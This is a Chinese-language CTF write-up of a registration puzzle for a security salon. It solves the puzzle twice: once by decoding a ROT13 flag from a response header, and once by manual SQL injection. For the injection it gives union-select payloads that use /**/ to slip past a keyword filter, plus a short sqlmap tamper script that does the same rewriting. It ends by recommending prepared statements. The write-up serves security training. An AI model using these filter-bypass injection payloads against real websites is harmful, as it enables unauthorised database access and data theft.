宣告,這不是廣告,因為現在是凌晨,而沙龍是白天下午一點開始。
不過還是要提一下,主辦方是補天漏洞平臺、承辦方是安全盒子。
想要報名參會需要透過一道CTF,CTF是為了測試參會人員基礎夠不夠資格參加沙龍。
正文:
喂?
在幹嘛呢,補天報名地址出來了,但是我報不了。
為什麼報不了啊?
握草,報名地址就是個CTF,我不知道這什麼加密
等會,半小時到家。
這題比較有趣,報名地址是公眾號文章內的原文地址。
進入以後快速的填寫資料提交無反應,第一反應是檢視原始碼,不到十秒鐘看到了兩個js檔案,略懂一點javascript。不敢班門弄斧,上相關資料。
百度touch的手勢框架,touch。js
http://
jingyan。baidu。com/artic
le/7f766daf5936914101e1d03d。html
通俗來說,這兩個檔案存在基本就是需要手機來提交。
到了這裡得到了game地址,進去
http://
butian。secbox。cn
以後就是很簡單的歡迎語。直覺告訴我要看看http請求裡,可能是因為上海站沙龍站我出題的時候也是這個思路吧。
真慶幸自己也經常用返回包這招捉弄新手,直覺幫我少走了許多彎路,直接在響應頭裡面看見一串奇怪的字元。不巧的是我又剛好略懂加密。
根據以往的經驗判斷是ROT13 加密,ROT13 加密是凱撒加密的一種。現在常常被當作弱加密示例的典型,也是當下很多基礎ctf小遊戲經常出現的一道題。
解密地址:
網路管理員線上工具
得出結果:Flag{wElCoMe_tO_BuTi4n}
解決時間:三分鐘
莫方,還要第二種解法
?Id=1 2 3…… 分別返回不同的結果,猜測有注入。只是做了一些限制
前陣子玩耍某ctf比賽的時候,遇到了一個LuManager15年12月爆出的漏洞。結果用sqlmap帶入tamper成功跑出
想著這道題可能也會有這樣的情況。帶上tamper失敗
開始手工注入:
?id=1返回: ctf gogogo
?id=2返回: where is flag?
?id=3返回: flag is in database
手工檢視過濾了什麼函式
?id=3%27
返回報錯頁面,再次嘗試
?id=3-1
正常返回where is flag?,可以看見資料庫進行了正常的運算。確定存在注入了。
經過短暫的探測,過濾函式如下:
空格、and、or、infomation_schema、ORDER BY……
空格嘗試/**/進行替代
/?id=2/**/-1
正常返回ID=1的所屬值 ,所以空格基本可以用/**/代替 ,測試union select沒有被過濾
那麼進行報錯聯合查詢?id=-1/**/union/**/select/**/1
手工判斷是否能顯示報錯進行,測試只能union select 1,1個欄位進行資料顯示
?id=-1/**/union/**/select/**/USER()# 爆出peter@localhost
接著使用id=-1/**/union/**/select/**/database() 爆出庫名
進行資訊分析根據上面不同返回資訊進行分別嘗試
判斷語句:?id=-1/**/union/**/select/**/1/**/from/**/websql。flag
上面已經得到庫名為websql、那麼我的語句意思是:
如果資料庫名是websql,表名是flag,則返回1。 如果表名不是flag則返回報錯頁面
/?id=-1/**/union/**/select/**/flag/**/from/**/websql。flag
同樣的方法最後得到flag
庫名是websql、表名是flag、欄位名也是flag、內容是FLAG{wElCoMe_tO_BuTi4n}
手工注入以後是指令碼
sqlmap的tamper目錄裡有需要py指令碼,這些指令碼大部分是幫助我們繞過防注入的。
根據這個案例我也寫了一個小指令碼,在sqlmap tamper目錄裡面隨便找個指令碼,按照現有的指令碼進行編寫,因為空格被過濾,所以需要/**/進行代替
#!/usr/bin/env python
“”“
Copyright (c) 2006-2012 sqlmap developers (http://sqlmap。org/)
See the file ‘doc/COPYING’ for copying permission
”“”
import re
from lib。core。enums import PRIORITY
__priority__ = PRIORITY。HIGHEST
def dependencies():
pass
#tamper 方法裡面進行更改 第一個引數是payload,第二個是headers http請求頭資訊
def tamper(payload, headers):
“”“
Replaces 空格 with /**/
Example:
* Input: 1‘ and 1=1
* Output: 1’/**/and/**/1=1
”“”
#payload=payload。upper()
return payload。replace(“ ”, “/**/”) if payload else payload, headers
加了一些註釋,python初學者也能很好理解吧?
這裡在編寫指令碼以後一度無法爆出表和欄位名。於是我猜測是在sqlmap的表、欄位的字典中沒有flag。於是加上
最終執行結果:
結語:
這個報名題,比較基礎。也只是一個小小的門檻題,22號白天下午才是正菜,希望我等弱雞能夠透過並分享給大家,感謝觀看。
想要更好的防注入,採用SQL預編譯技術。注意位元組編碼。
如果自己寫公共處理類,可以參考一下dedecms、Discuz! 等等……
相關基礎文章:
你真的會SQL注入攻擊嗎?(下) - 駭客生活 - 知乎專欄